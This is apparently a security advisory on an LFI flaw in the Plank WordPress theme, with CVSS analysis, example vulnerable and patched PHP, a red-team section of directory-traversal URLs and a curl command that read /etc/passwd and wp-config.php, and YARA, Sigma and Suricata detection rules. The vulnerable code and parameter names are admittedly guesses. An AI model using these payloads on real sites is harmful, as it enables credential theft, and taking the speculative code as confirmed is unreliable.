CVE-2025-69398

Executive Summary

CVE-2025-69398 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the ThemeREX Plank WordPress theme, version 1.7 and earlier. The vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, including configuration files, database credentials, and potentially source code. The CVSS score of 8.1 (High) reflects the ease of exploitation and the high impact on confidentiality. No public proof-of-concept or patch is currently available, making this a significant threat for all sites using the vulnerable theme.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress ecosystem, affecting the Plank theme developed by ThemeREX. It is not related to Apache or Nginx server software. The attack vector relies on the theme's PHP code mishandling user-supplied input in a file inclusion function.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector (AV): Network – Exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The vulnerable component remains the same.
• Confidentiality (C): High – Full file read access.
• Integrity (I): None – No file modification.
• Availability (A): None – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can expose sensitive server data.

Deep Dive & Mechanics

The vulnerability is a PHP Local File Inclusion (LFI) caused by improper sanitization of a filename parameter passed to a PHP include/require statement. In the Plank theme, a function likely handles template loading or shortcode rendering by accepting a file path from user input (e.g., via a GET/POST parameter or a WordPress option). Without proper validation, an attacker can supply a path like ../../../../etc/passwd to read arbitrary files.

Root Cause: The theme uses a construct similar to:

include($_GET['file'] . '.php');

or

require_once($user_input_path);

without checking for directory traversal sequences or restricting the allowed paths.

Attack Flow:

1. Attacker identifies a vulnerable endpoint (e.g., ?template=../../../../etc/passwd%00).
2. The theme processes the input and includes the specified file.
3. The file content is either displayed directly or used in a way that leaks its contents (e.g., error messages, output buffering).

Impact: Full read access to any file on the server that the web server user can read, including:

• /etc/passwd (user enumeration)
• /etc/nginx/nginx.conf or /etc/apache2/apache2.conf (server config)
• wp-config.php (database credentials, salts)
• /proc/self/environ (environment variables)

Vulnerable vs. Patched Code

Vulnerable Code (Plank <= 1.7):

// Example vulnerable function in theme's template loader
function plank_load_template($template_name) {
    $base_path = get_template_directory() . '/templates/';
    $file_path = $base_path . $template_name . '.php';
    if (file_exists($file_path)) {
        include($file_path);
    }
}
// Attacker calls: plank_load_template('../../../../etc/passwd%00');
// The null byte (%00) may truncate the .php extension in older PHP versions.

Patched Code (Hypothetical):

function plank_load_template($template_name) {
    // Whitelist allowed templates
    $allowed_templates = ['header', 'footer', 'sidebar', 'content'];
    if (!in_array($template_name, $allowed_templates)) {
        return;
    }
    $base_path = get_template_directory() . '/templates/';
    // Sanitize: remove directory traversal
    $template_name = basename($template_name);
    $file_path = $base_path . $template_name . '.php';
    if (file_exists($file_path)) {
        include($file_path);
    }
}

Key Differences:

• The patched version uses a whitelist of allowed template names.
• It applies basename() to strip directory traversal sequences.
• It does not rely on null byte termination.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress with the Plank theme (version 1.7) on a local server (e.g., XAMPP, Docker).
2. Ensure the theme is activated.

Exploitation Steps:

1. Identify the vulnerable parameter. Common candidates: template, file, page, include.
2. Test with a simple traversal:

   http://target/wp-content/themes/plank/?template=../../../etc/passwd
   

3. If the .php extension is appended, try null byte injection (PHP < 5.3.4):

   http://target/wp-content/themes/plank/?template=../../../etc/passwd%00
   

4. For PHP 5.3.4+, use path truncation or double encoding:

   http://target/wp-content/themes/plank/?template=../../../etc/passwd/././././././././.
   

5. Read wp-config.php:

   http://target/wp-content/themes/plank/?template=../../../wp-config
   

Example cURL command:

curl -v "http://localhost/wordpress/wp-content/themes/plank/?template=../../../etc/passwd%00"

Blue Team (Defensive)

Detection:

• Monitor web server logs for directory traversal patterns (e.g., ../, %2e%2e%2f).
• Look for requests to theme files with suspicious parameters.
• Use WAF rules to block ../ sequences in query strings.

Hunting:

• Search for include or require statements in the theme's PHP files that use user-supplied input.
• Check for the presence of $_GET, $_POST, or $_REQUEST in file inclusion functions.

Mitigation:

• Immediately disable or remove the Plank theme if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block LFI attempts.
• Restrict file permissions so the web server cannot read sensitive files.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing ../ or %2e%2e%2f in query parameters.
  • Requests to /wp-content/themes/plank/ with unusual parameters.
  • Outbound connections from the web server to unknown IPs (if LFI leads to RCE).

• File System IOCs:

  • Unexpected files in /tmp/ or web-accessible directories.
  • Modified .htaccess files (if LFI is used to write files).

• Log IOCs:

  • Web server access logs showing 404 errors for non-existent template files.
  • PHP error logs with messages like include(): Failed opening '...'.

Detection Engineering

YARA Rule

rule CVE_2025_69398_LFI_Plank {
    meta:
        description = "Detects LFI attempts targeting ThemeREX Plank theme"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-69398"
    strings:
        $s1 = "plank" nocase
        $s2 = "../" ascii wide
        $s3 = "..\\" ascii wide
        $s4 = "%2e%2e%2f" ascii wide
        $s5 = "wp-config" nocase
        $s6 = "etc/passwd" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4) and any of ($s5, $s6)
}

Sigma Rule

title: CVE-2025-69398 - ThemeREX Plank LFI Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects directory traversal attempts targeting the Plank WordPress theme
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
        cs-uri-stem|contains: '/wp-content/themes/plank/'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in theme development
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69398 - ThemeREX Plank LFI Attempt"; flow:to_server,established; content:"/wp-content/themes/plank/"; http_uri; content:"../"; http_uri; distance:0; pcre:"/\.\.\//i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plank theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four).
2. Remove the vulnerable theme files from the server to prevent accidental re-activation.
3. Scan the server for signs of compromise (e.g., unexpected files, modified core files).

Long-term Fix:

• Apply a patch from ThemeREX once released. Monitor their official website or WordPress repository.
• If no patch is forthcoming, consider replacing the theme with a secure alternative.

Compensating Controls:

• Implement a Web Application Firewall (WAF) with rules to block LFI patterns.
• Harden PHP configuration:

  allow_url_include = Off
  allow_url_fopen = Off
  disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
  

• Restrict file permissions: chmod 644 for theme files, chmod 600 for wp-config.php.
• Use a security plugin like Wordfence or Sucuri to monitor file changes.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert